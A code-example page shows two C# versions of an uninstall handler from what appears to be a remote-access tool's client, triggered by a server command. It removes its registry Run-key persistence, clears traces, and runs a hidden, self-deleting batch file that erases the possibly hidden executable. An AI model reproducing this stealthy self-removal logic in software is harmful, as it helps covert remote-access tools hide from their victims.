コード例 #1
0
        public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Client client)
        {
            new Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);

            SystemCore.RemoveTraces();

            try
            {
                string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                               Helper.Helper.GetRandomFilename(12, ".bat"));

                string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE)
                    ? "@echo off" + "\n" +
                                        "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                        "ping -n 20 localhost > nul" + "\n" +
                                        "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                        "del " + "\"" + filename + "\""
                    : "@echo off" + "\n" +
                                        "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                        "ping -n 20 localhost > nul" + "\n" +
                                        "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                        "del " + "\"" + filename + "\""
                ;

                File.WriteAllText(filename, uninstallBatch);
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    CreateNoWindow  = true,
                    UseShellExecute = true,
                    FileName        = filename
                };
                Process.Start(startInfo);
            }
            finally
            {
                SystemCore.Disconnect = true;
                client.Disconnect();
            }
        }
コード例 #2
0
        public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Client client)
        {
            new Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);

            if (Settings.STARTUP)
            {
                if (SystemCore.AccountType == "Admin")
                {
                    try
                    {
                        RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                    catch
                    {
                        // try deleting from Registry.CurrentUser
                        RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                }
                else
                {
                    try
                    {
                        RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                    catch
                    { }
                }
            }

            string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".bat"));

            string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
                                    "@echo off" + "\n" +
                                    "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                    "ping -n 20 localhost > nul" + "\n" +
                                    "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                    "del " + "\"" + filename + "\""
                                :
                                    "@echo off" + "\n" +
                                    "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                    "ping -n 20 localhost > nul" + "\n" +
                                    "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                    "del " + "\"" + filename + "\""
            ;

            File.WriteAllText(filename, uninstallBatch);
            ProcessStartInfo startInfo = new ProcessStartInfo();

            startInfo.WindowStyle     = ProcessWindowStyle.Hidden;
            startInfo.CreateNoWindow  = true;
            startInfo.UseShellExecute = true;
            startInfo.FileName        = filename;
            Process.Start(startInfo);

            CloseShell();
            SystemCore.Disconnect = true;
            client.Disconnect();
        }